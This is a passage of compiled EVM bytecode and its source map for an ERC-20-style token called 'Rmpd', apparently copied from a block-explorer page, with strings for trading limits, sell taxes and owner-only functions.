aca0061171d565b60405190815260200160405180910390a1565b6000546001600160a01b031633146108215760405162461bcd60e51b815260040161045d90611734565b601354600160a01b900460ff161561087b5760405162461bcd60e51b815260206004820152601d60248201527f526d70643a2054726164696e6720697320616c7265616479206f70656e000000604482015260640161045d565b6012546001600160a01b031663f305d71947306108ad816001600160a01b031660009081526001602052604090205490565b6000806108c26000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561092a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061094f9190611795565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc91906117c3565b506013805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a485760405162461bcd60e51b815260206004820152602360248201527f526d70643a20617070726f76652066726f6d20746865207a65726f206164647260448201526265737360e81b606482015260840161045d565b6001600160a01b038216610aa85760405162461bcd60e51b815260206004820152602160248201527f526d70643a20617070726f766520746f20746865207a65726f206164647265736044820152607360f81b606482015260840161045d565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b6b5760405162461bcd60e51b8152602060048201526024808201527f526d70643a207472616e736665722066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045d565b6001600160a01b038216610bcc5760405162461bcd60e51b815260206004820152602260248201527f526d70643a207472616e7366657220746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045d565b60008111610c345760405162461bcd60e51b815260206004820152602f60248201527f526d70643a205472616e7366657220616d6f756e74206d75737420626520677260448201526e6561746572207468616e207a65726f60881b606482015260840161045d565b6001600160a01b03831660009081526003602052604081205460ff16158015610c7657506001600160a01b03831660009081526003602052604090205460ff16155b15610ff7576001600160a01b03841660009081526004602052604090205460ff16158015610cbd57506001600160a01b03831660009081526004602052604090205460ff16155b610cc657600080fd5b600e54600003610cff57610cfc6064610cf6600a54600e5411610ceb57600654610cef565b6008545b8590611174565b90611201565b90505b600e5415610d2457610d216064610cf6600d548561117490919063ffffffff16565b90505b6013546001600160a01b038581169116148015610d4f57506012546001600160a01b03848116911614155b8015610d7457506001600160a01b03831660009081526003602052604090205460ff16155b15610e9457600f54821115610ddc5760405162461bcd60e51b815260206004820152602860248201527f526d70643a204578636565647320746865206d6178207472616e73616374696f6044820152671b88185b5bdd5b9d60c21b606482015260840161045d565b60105482610dff856001600160a01b031660009081526001602052604090205490565b610e0991906117e5565b1115610e615760405162461bcd60e51b815260206004820152602160248201527f526d70643a204578636565647320746865206d61782077616c6c65742073697a6044820152606560f81b606482015260840161045d565b610e7c6064610cf6600a54600e5411610ceb57600654610cef565b600e80549192506000610e8e836117f8565b91905055505b6013546001600160a01b038481169116148015610eba57506001600160a01b0384163014155b15610ee757610ee46064610cf6600b54600e5411610eda57600754610cef565b6009548590611174565b90505b30600090815260016020526040902054601354600160a81b900460ff16158015610f1e57506013546001600160a01b038581169116145b8015610f335750601354600160b01b900460ff165b8015610f425750600c54600e54115b15610ff557601554431115610f575760006014555b600360145410610fb55760405162461bcd60e51b8152602060048201526024808201527f526d70643a204f6e6c7920332073656c6c732070657220626c6f636b20616c6c6044820152631bddd95960e21b606482015260840161045d565b610fd2610fcd84610fc884601154611243565b611243565b611258565b610fdb476113fb565b60148054906000610feb836117f8565b9091555050436015555b505b801561107157306000908152600160205260409020546110179082611439565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110689085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546110949083611498565b6001600160a01b0385166000908152600160205260409020556110d96110ba8383611498565b6001600160a01b03851660009081526001602052604090205490611439565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111238585611498565b60405190815260200160405180910390a350505050565b6000818484111561115e5760405162461bcd60e51b815260040161045d91906114eb565b50600061116b8486611811565b95945050505050565b600082600003611186575060006103a3565b6000611192838561171d565b90508261119f8583611824565b146111fa5760405162461bcd60e51b815260206004820152602560248201527f526d7064536166654d6174683a206d756c7469706c69636174696f6e206f766560448201526472666c6f7760d81b606482015260840161045d565b9392505050565b60006111fa83836040518060400160405280601e81526020017f526d7064536166654d6174683a206469766973696f6e206279207a65726f00008152506114bd565b600081831161125257826111fa565b50919050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112a0576112a0611846565b60200260200101906001600160a01b031690816001600160a01b031681525050816000036112ce57506113eb565b601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611321573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113459190611778565b8160018151811061135857611358611846565b6001600160a01b03928316602091820292909201015260125461137e91309116846109e6565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113b790859060009086903090429060040161185c565b600060405180830381600087803b1580156113d157600080fd5b505af11580156113e5573d6000803e3d6000fd5b50505050505b506013805460ff60a81b19169055565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611435573d6000803e3d6000fd5b5050565b60008061144683856117e5565b9050838110156111fa5760405162461bcd60e51b815260206004820152601f60248201527f526d7064536166654d6174683a206164646974696f6e206f766572666c6f7700604482015260640161045d565b60006111fa83836040518060600160405280602281526020016118f56022913961113a565b600081836114de5760405162461bcd60e51b815260040161045d91906114eb565b50600061116b8486611824565b600060208083528351808285015260005b81811015611518578581018301518582016040015282016114fc565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461154e57600080fd5b50565b6000806040838503121561156457600080fd5b823561156f81611539565b946020939093013593505050565b60008060006060848603121561159257600080fd5b833561159d81611539565b925060208401356115ad81611539565b929592945050506040919091013590565b6000602082840312156115d057600080fd5b81356111fa81611539565b600080604083850312156115ee57600080fd5b82356115f981611539565b9150602083013561160981611539565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561166557816000190482111561164b5761164b611614565b8085161561165857918102915b93841c939080029061162f565b509250929050565b60008261167c575060016103a3565b81611689575060006103a3565b816001811461169f57600281146116a9576116c5565b60019150506103a3565b60ff8411156116ba576116ba611614565b50506001821b6103a3565b5060208310610133831016604e8410600b84101617156116e8575081810a6103a3565b6116f2838361162a565b806000190482111561170657611706611614565b029392505050565b60006111fa60ff84168361166d565b80820281158282048414176103a3576103a3611614565b60208082526024908201527f526d70644f776e61626c653a2063616c6c6572206973206e6f7420746865206f6040820152633bb732b960e11b606082015260800190565b60006020828403121561178a57600080fd5b81516111fa81611539565b6000806000606084860312156117aa57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117d557600080fd5b815180151581146111fa57600080fd5b808201808211156103a3576103a3611614565b60006001820161180a5761180a611614565b5060010190565b818103818111156103a3576103a3611614565b60008261184157634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118ac5784516001600160a01b031683529383019391830191600101611887565b50506001600160a01b0396909616606085015250505060800152939250505056fe526d70643a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365526d7064536166654d6174683a207375627472616374696f6e206f766572666c6f77a264697066735822122085696939b4cb465348bf23559ae40ffc6139e85fd37de88f1a22f51f27e6624664736f6c63430008130033

Deployed Bytecode Sourcemap

3598:7931:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4574:63;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;4574:63:0;;;;;;;;5585:83;;;;;;;;;;-1:-1:-1;5655:5:0;;;;;;;;;;;;-1:-1:-1;;;5655:5:0;;;;5585:83;;;;;;;:::i;6423:161::-;;;;;;;;;;-1:-1:-1;6423:161:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;6423:161:0;1205:187:1;5862:100:0;;;;;;;;;;;;;:::i;6592:312::-;;;;;;;;;;-1:-1:-1;6592:312:0;;;;;:::i;:::-;;:::i;5771:83::-;;;;;;;;;;-1:-1:-1;5771:83:0;;4381:1;2000:36:1;;1988:2;1973:18;5771:83:0;1858:184:1;5970:119:0;;;;;;;;;;-1:-1:-1;5970:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6063:18:0;6036:7;6063:18;;;:9;:18;;;;;;;5970:119;2691:148;;;;;;;;;;;;;:::i;:::-;;4707:53;;;;;;;;;;;;;;;;10783:309;;;;;;;;;;;;;:::i;2473:79::-;;;;;;;;;;-1:-1:-1;2511:7:0;2538:6;2473:79;;-1:-1:-1;;;;;2538:6:0;;;2445:51:1;;2433:2;2418:18;2473:79:0;2299:203:1;5676:87:0;;;;;;;;;;-1:-1:-1;5748:7:0;;;;;;;;;;;;-1:-1:-1;;;5748:7:0;;;;5676:87;;9600:242;;;;;;;;;;-1:-1:-1;9600:242:0;;;;;:::i;:::-;;:::i;6097:167::-;;;;;;;;;;-1:-1:-1;6097:167:0;;;;;:::i;:::-;;:::i;4644:56::-;;;;;;;;;;;;;;;;10482:193;;;;;;;;;;;;;:::i;11100:389::-;;;;;;;;;;;;;:::i;6272:143::-;;;;;;;;;;-1:-1:-1;6272:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6380:18:0;;;6353:7;6380:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6272:143;6423:161;6498:4;6515:39;283:10;6538:7;6547:6;6515:8;:39::i;:::-;-1:-1:-1;6572:4:0;6423:161;;;;;:::o;5862:100::-;5915:7;4442:13;4381:1;4442:2;:13;:::i;:::-;4429:26;;:10;:26;:::i;:::-;5935:19;;5862:100;:::o;6592:312::-;6690:4;6707:36;6717:6;6725:9;6736:6;6707:9;:36::i;:::-;6754:120;6763:6;283:10;6785:88;6823:6;6785:88;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6785:19:0;;;;;;:11;:19;;;;;;;;283:10;6785:33;;;;;;;;;;:37;:88::i;:::-;6754:8;:120::i;:::-;-1:-1:-1;6892:4:0;6592:312;;;;;:::o;2691:148::-;2600:6;;-1:-1:-1;;;;;2600:6:0;283:10;2600:22;2592:71;;;;-1:-1:-1;;;2592:71:0;;;;;;;:::i;:::-;;;;;;;;;2798:1:::1;2782:6:::0;;2761:40:::1;::::0;-1:-1:-1;;;;;2782:6:0;;::::1;::::0;2761:40:::1;::::0;2798:1;;2761:40:::1;2829:1;2812:19:::0;;-1:-1:-1;;;;;;2812:19:0::1;::::0;;2691:148::o;10783:309::-;2600:6;;-1:-1:-1;;;;;2600:6:0;283:10;2600:22;2592:71;;;;-1:-1:-1;;;2592:71:0;;;;;;;:::i;:::-;10839:11:::1;:71:::0;;-1:-1:-1;;;;;;10839:71:0::1;10867:42;10839:71:::0;;::::1;::::0;;;10921:59:::1;::::0;10938:4:::1;::::0;4442:13:::1;4381:1;4442:2;:13;:::i;:::-;4429:26;::::0;:10:::1;:26;:::i;10921:59::-;11016:11;;;;;;;;;-1:-1:-1::0;;;;;11016:11:0::1;-1:-1:-1::0;;;;;11016:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11003:46:0::1;;11058:4;11065:11;;;;;;;;;-1:-1:-1::0;;;;;11065:11:0::1;-1:-1:-1::0;;;;;11065:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11003:81;::::0;-1:-1:-1;;;;;;11003:81:0::1;::::0;;;;;;-1:-1:-1;;;;;5479:15:1;;;11003:81:0::1;::::0;::::1;5461:34:1::0;5531:15;;5511:18;;;5504:43;5396:18;;11003:81:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10991:9;:93:::0;;-1:-1:-1;;;;;;10991:93:0::1;-1:-1:-1::0;;;;;10991:93:0;;;::::1;::::0;;;::::1;::::0;;10783:309::o;9600:242::-;9700:11;;-1:-1:-1;;;;;9700:11:0;9686:10;:25;9678:58;;;;-1:-1:-1;;;9678:58:0;;5760:2:1;9678:58:0;;;5742:21:1;5799:2;5779:18;;;5772:30;-1:-1:-1;;;5818:18:1;;;5811:50;5878:18;;9678:58:0;5558:344:1;9678:58:0;9747:44;9756:9;9767;4442:13;4381:1;4442:2;:13;:::i;9747:44::-;9802:11;:32;;-1:-1:-1;;;;;;9802:32:0;-1:-1:-1;;;;;9802:32:0;;;;;;;;;;-1:-1:-1;9600:242:0:o;6097:167::-;6175:4;6192:42;283:10;6216:9;6227:6;6192:9;:42::i;10482:193::-;2600:6;;-1:-1:-1;;;;;2600:6:0;283:10;2600:22;2592:71;;;;-1:-1:-1;;;2592:71:0;;;;;;;:::i;:::-;4442:13:::1;4381:1;4442:2;:13;:::i;:::-;4429:26;::::0;:10:::1;:26;:::i;:::-;10534:21;:36:::0;4442:13:::1;4381:1;4442:2;:13;:::i;:::-;4429:26;::::0;:10:::1;:26;:::i;:::-;10581:14;:29:::0;10626:41:::1;4442:13;4381:1;4442:2;:13;:::i;:::-;4429:26;::::0;:10:::1;:26;:::i;:::-;10626:41;::::0;160:25:1;;;148:2;133:18;10626:41:0::1;;;;;;;10482:193::o:0;11100:389::-;2600:6;;-1:-1:-1;;;;;2600:6:0;283:10;2600:22;2592:71;;;;-1:-1:-1;;;2592:71:0;;;;;;;:::i;:::-;11161:12:::1;::::0;-1:-1:-1;;;11161:12:0;::::1;;;11160:13;11152:55;;;::::0;-1:-1:-1;;;11152:55:0;;6109:2:1;11152:55:0::1;::::0;::::1;6091:21:1::0;6148:2;6128:18;;;6121:30;6187:31;6167:18;;;6160:59;6236:18;;11152:55:0::1;5907:353:1::0;11152:55:0::1;11218:11;::::0;-1:-1:-1;;;;;11218:11:0::1;:27;11253:21;11284:4;11291:24;11284:4:::0;-1:-1:-1;;;;;6063:18:0;6036:7;6063:18;;;:9;:18;;;;;;;5970:119;11291:24:::1;11317:1;11320::::0;11323:7:::1;2511::::0;2538:6;-1:-1:-1;;;;;2538:6:0;;2473:79;11323:7:::1;11218:130;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11218:130:0;;;-1:-1:-1;;;;;6624:15:1;;;11218:130:0::1;::::0;::::1;6606:34:1::0;6656:18;;;6649:34;;;;6699:18;;;6692:34;;;;6742:18;;;6735:34;6806:15;;;6785:19;;;6778:44;11332:15:0::1;6838:19:1::0;;;6831:35;6540:19;;11218:130:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11365:9:0::1;::::0;11392:11:::1;::::0;11359:62:::1;::::0;-1:-1:-1;;;11359:62:0;;-1:-1:-1;;;;;11392:11:0;;::::1;11359:62;::::0;::::1;7362:51:1::0;-1:-1:-1;;7429:18:1;;;7422:34;11365:9:0;::::1;::::0;-1:-1:-1;11359:24:0::1;::::0;7335:18:1;;11359:62:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11432:12:0::1;:19:::0;;-1:-1:-1;;;;11462:19:0;-1:-1:-1;;;11462:19:0;;;11100:389::o;6912:333::-;-1:-1:-1;;;;;7005:19:0;;6997:67;;;;-1:-1:-1;;;6997:67:0;;7951:2:1;6997:67:0;;;7933:21:1;7990:2;7970:18;;;7963:30;8029:34;8009:18;;;8002:62;-1:-1:-1;;;8080:18:1;;;8073:33;8123:19;;6997:67:0;7749:399:1;6997:67:0;-1:-1:-1;;;;;7083:21:0;;7075:67;;;;-1:-1:-1;;;7075:67:0;;8355:2:1;7075:67:0;;;8337:21:1;8394:2;8374:18;;;8367:30;8433:34;8413:18;;;8406:62;-1:-1:-1;;;8484:18:1;;;8477:31;8525:19;;7075:67:0;8153:397:1;7075:67:0;-1:-1:-1;;;;;7153:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7205:32;;160:25:1;;;7205:32:0;;133:18:1;7205:32:0;;;;;;;6912:333;;;:::o;7253:2339::-;-1:-1:-1;;;;;7341:18:0;;7333:67;;;;-1:-1:-1;;;7333:67:0;;8757:2:1;7333:67:0;;;8739:21:1;8796:2;8776:18;;;8769:30;8835:34;8815:18;;;8808:62;-1:-1:-1;;;8886:18:1;;;8879:34;8930:19;;7333:67:0;8555:400:1;7333:67:0;-1:-1:-1;;;;;7419:16:0;;7411:63;;;;-1:-1:-1;;;7411:63:0;;9162:2:1;7411:63:0;;;9144:21:1;9201:2;9181:18;;;9174:30;9240:34;9220:18;;;9213:62;-1:-1:-1;;;9291:18:1;;;9284:32;9333:19;;7411:63:0;8960:398:1;7411:63:0;7502:1;7493:6;:10;7485:70;;;;-1:-1:-1;;;7485:70:0;;9565:2:1;7485:70:0;;;9547:21:1;9604:2;9584:18;;;9577:30;9643:34;9623:18;;;9616:62;-1:-1:-1;;;9694:18:1;;;9687:45;9749:19;;7485:70:0;9363:411:1;7485:70:0;-1:-1:-1;;;;;7601:24:0;;7566:17;7601:24;;;:18;:24;;;;;;;;7600:25;:52;;;;-1:-1:-1;;;;;;7630:22:0;;;;;;:18;:22;;;;;;;;7629:23;7600:52;7596:1627;;;-1:-1:-1;;;;;7678:11:0;;;;;;:5;:11;;;;;;;;7677:12;:26;;;;-1:-1:-1;;;;;;7694:9:0;;;;;;:5;:9;;;;;;;;7693:10;7677:26;7669:35;;;;;;7724:9;;7735:1;7724:12;7721:140;;7768:77;7841:3;7768:68;7790:17;;7780:9;;:27;7779:56;;7821:14;;7779:56;;;7809:11;;7779:56;7768:6;;:10;:68::i;:::-;:72;;:77::i;:::-;7756:89;;7721:140;7878:9;;:11;7875:95;;7921:33;7950:3;7921:24;7932:12;;7921:6;:10;;:24;;;;:::i;:33::-;7909:45;;7875:95;7998:9;;-1:-1:-1;;;;;7990:17:0;;;7998:9;;7990:17;:47;;;;-1:-1:-1;8025:11:0;;-1:-1:-1;;;;;8011:26:0;;;8025:11;;8011:26;;7990:47;:74;;;;-1:-1:-1;;;;;;8042:22:0;;;;;;:18;:22;;;;;;;;8041:23;7990:74;7986:442;;;8103:21;;8093:6;:31;;8085:84;;;;-1:-1:-1;;;8085:84:0;;9981:2:1;8085:84:0;;;9963:21:1;10020:2;10000:18;;;9993:30;10059:34;10039:18;;;10032:62;-1:-1:-1;;;10110:18:1;;;10103:38;10158:19;;8085:84:0;9779:404:1;8085:84:0;8222:14;;8212:6;8196:13;8206:2;-1:-1:-1;;;;;6063:18:0;6036:7;6063:18;;;:9;:18;;;;;;;5970:119;8196:13;:22;;;;:::i;:::-;:40;;8188:86;;;;-1:-1:-1;;;8188:86:0;;10520:2:1;8188:86:0;;;10502:21:1;10559:2;10539:18;;;10532:30;10598:34;10578:18;;;10571:62;-1:-1:-1;;;10649:18:1;;;10642:31;10690:19;;8188:86:0;10318:397:1;8188:86:0;8305:77;8378:3;8305:68;8327:17;;8317:9;;:27;8316:56;;8358:14;;8316:56;;8305:77;8401:9;:11;;8293:89;;-1:-1:-1;8401:9:0;:11;;;:::i;:::-;;;;;;7986:442;8453:9;;-1:-1:-1;;;;;8447:15:0;;;8453:9;;8447:15;:40;;;;-1:-1:-1;;;;;;8466:21:0;;8482:4;8466:21;;8447:40;8444:171;;;8519:80;8595:3;8519:71;8541:18;;8531:9;;:28;8530:59;;8574:15;;8530:59;;;8561:12;;8519:6;;:10;:71::i;:80::-;8507:92;;8444:171;8680:4;8631:28;6063:18;;;:9;:18;;;;;;8706:7;;-1:-1:-1;;;8706:7:0;;;;8705:8;:27;;;;-1:-1:-1;8723:9:0;;-1:-1:-1;;;;;8717:15:0;;;8723:9;;8717:15;8705:27;:43;;;;-1:-1:-1;8736:12:0;;-1:-1:-1;;;8736:12:0;;;;8705:43;:77;;;;;8764:18;;8752:9;;:30;8705:77;8701:511;;;8822:14;;8807:12;:29;8803:92;;;8874:1;8861:10;:14;8803:92;8934:1;8921:10;;:14;8913:63;;;;-1:-1:-1;;;8913:63:0;;11062:2:1;8913:63:0;;;11044:21:1;11101:2;11081:18;;;11074:30;11140:34;11120:18;;;11113:62;-1:-1:-1;;;11191:18:1;;;11184:34;11235:19;;8913:63:0;10860:400:1;8913:63:0;8995:69;9012:51;9016:6;9024:38;9028:20;9050:11;;9024:3;:38::i;:::-;9012:3;:51::i;:::-;8995:16;:69::i;:::-;9083:34;9095:21;9083:11;:34::i;:::-;9136:10;:12;;;:10;:12;;;:::i;:::-;;;;-1:-1:-1;;9184:12:0;9167:14;:29;8701:511;7654:1569;7596:1627;9238:13;;9235:170;;9312:4;9294:24;;;;:9;:24;;;;;;:39;;9323:9;9294:28;:39::i;:::-;9285:4;9267:24;;;;:9;:24;;;;;;;:66;;;;9353:40;;-1:-1:-1;;;;;9353:40:0;;;;;;;9383:9;160:25:1;;148:2;133:18;;14:177;9353:40:0;;;;;;;;9235:170;-1:-1:-1;;;;;9433:15:0;;;;;;:9;:15;;;;;;:27;;9453:6;9433:19;:27::i;:::-;-1:-1:-1;;;;;9415:15:0;;;;;;:9;:15;;;;;:45;9487:40;9505:21;:6;9516:9;9505:10;:21::i;:::-;-1:-1:-1;;;;;9487:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9471:13:0;;;;;;;:9;:13;;;;;:56;;;;9543:41;;;9562:21;:6;9573:9;9562:10;:21::i;:::-;9543:41;;160:25:1;;;148:2;133:18;9543:41:0;;;;;;;7322:2270;7253:2339;;;:::o;1351:190::-;1437:7;1473:12;1465:6;;;;1457:29;;;;-1:-1:-1;;;1457:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1497:9:0;1509:5;1513:1;1509;:5;:::i;:::-;1497:17;1351:190;-1:-1:-1;;;;;1351:190:0:o;1549:250::-;1607:7;1631:1;1636;1631:6;1627:47;;-1:-1:-1;1661:1:0;1654:8;;1627:47;1684:9;1696:5;1700:1;1696;:5;:::i;:::-;1684:17;-1:-1:-1;1729:1:0;1720:5;1724:1;1684:17;1720:5;:::i;:::-;:10;1712:60;;;;-1:-1:-1;;;1712:60:0;;11822:2:1;1712:60:0;;;11804:21:1;11861:2;11841:18;;;11834:30;11900:34;11880:18;;;11873:62;-1:-1:-1;;;11951:18:1;;;11944:35;11996:19;;1712:60:0;11620:401:1;1712:60:0;1790:1;1549:250;-1:-1:-1;;;1549:250:0:o;1807:136::-;1865:7;1892:43;1896:1;1899;1892:43;;;;;;;;;;;;;;;;;:3;:43::i;9850:106::-;9907:7;9938:1;9934;:5;9933:15;;9947:1;9933:15;;;-1:-1:-1;9943:1:0;9850:106;-1:-1:-1;9850:106:0:o;9964:510::-;5180:7;:14;;-1:-1:-1;;;;5180:14:0;-1:-1:-1;;;5180:14:0;;;10066:16:::1;::::0;;10080:1:::1;10066:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10066:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10066:16:0::1;10042:40;;10111:4;10093;10098:1;10093:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;10093:23:0::1;;;-1:-1:-1::0;;;;;10093:23:0::1;;;::::0;::::1;10131:11;10146:1;10131:16:::0;10127:29:::1;;10149:7;;;10127:29;10176:11;;;;;;;;;-1:-1:-1::0;;;;;10176:11:0::1;-1:-1:-1::0;;;;;10176:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10166:4;10171:1;10166:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10166:28:0;;::::1;:7;::::0;;::::1;::::0;;;;;:28;10237:11:::1;::::0;10205:58:::1;::::0;10222:4:::1;::::0;10237:11:::1;10251::::0;10205:8:::1;:58::i;:::-;10274:11;::::0;:192:::1;::::0;-1:-1:-1;;;10274:192:0;;-1:-1:-1;;;;;10274:11:0;;::::1;::::0;:62:::1;::::0;:192:::1;::::0;10351:11;;10274::::1;::::0;10393:4;;10420::::1;::::0;10440:15:::1;::::0;10274:192:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;10031:443;5205:1;-1:-1:-1::0;5217:7:0;:15;;-1:-1:-1;;;;5217:15:0;;;9964:510::o;10683:92::-;10739:11;;:28;;-1:-1:-1;;;;;10739:11:0;;;;:28;;;;;10760:6;;10739:11;:28;:11;:28;10760:6;10739:11;:28;;;;;;;;;;;;;;;;;;;;;10683:92;:::o;1012:183::-;1070:7;;1102:5;1106:1;1102;:5;:::i;:::-;1090:17;;1131:1;1126;:6;;1118:50;;;;-1:-1:-1;;;1118:50:0;;13477:2:1;1118:50:0;;;13459:21:1;13516:2;13496:18;;;13489:30;13555:33;13535:18;;;13528:61;13606:18;;1118:50:0;13275:355:1;1203:140:0;1261:7;1288:47;1292:1;1295;1288:47;;;;;;;;;;;;;;;;;:3;:47::i;1951:189::-;2037:7;2072:12;2065:5;2057:28;;;;-1:-1:-1;;;2057:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2096:9:0;2108:5;2112:1;2108;:5;:::i;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;804:70;749:131;:::o;885:315::-;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4588:400::-;4790:2;4772:21;;;4829:2;4809:18;;;4802:30;4868:34;4863:2;4848:18;;4841:62;-1:-1:-1;;;4934:2:1;4919:18;;4912:34;4978:3;4963:19;;4588:400::o;4993:251::-;5063:6;5116:2;5104:9;5095:7;5091:23;5087:32;5084:52;;;5132:1;5129;5122:12;5084:52;5164:9;5158:16;5183:31;5208:5;5183:31;:::i;6877:306::-;6965:6;6973;6981;7034:2;7022:9;7013:7;7009:23;7005:32;7002:52;;;7050:1;7047;7040:12;7002:52;7079: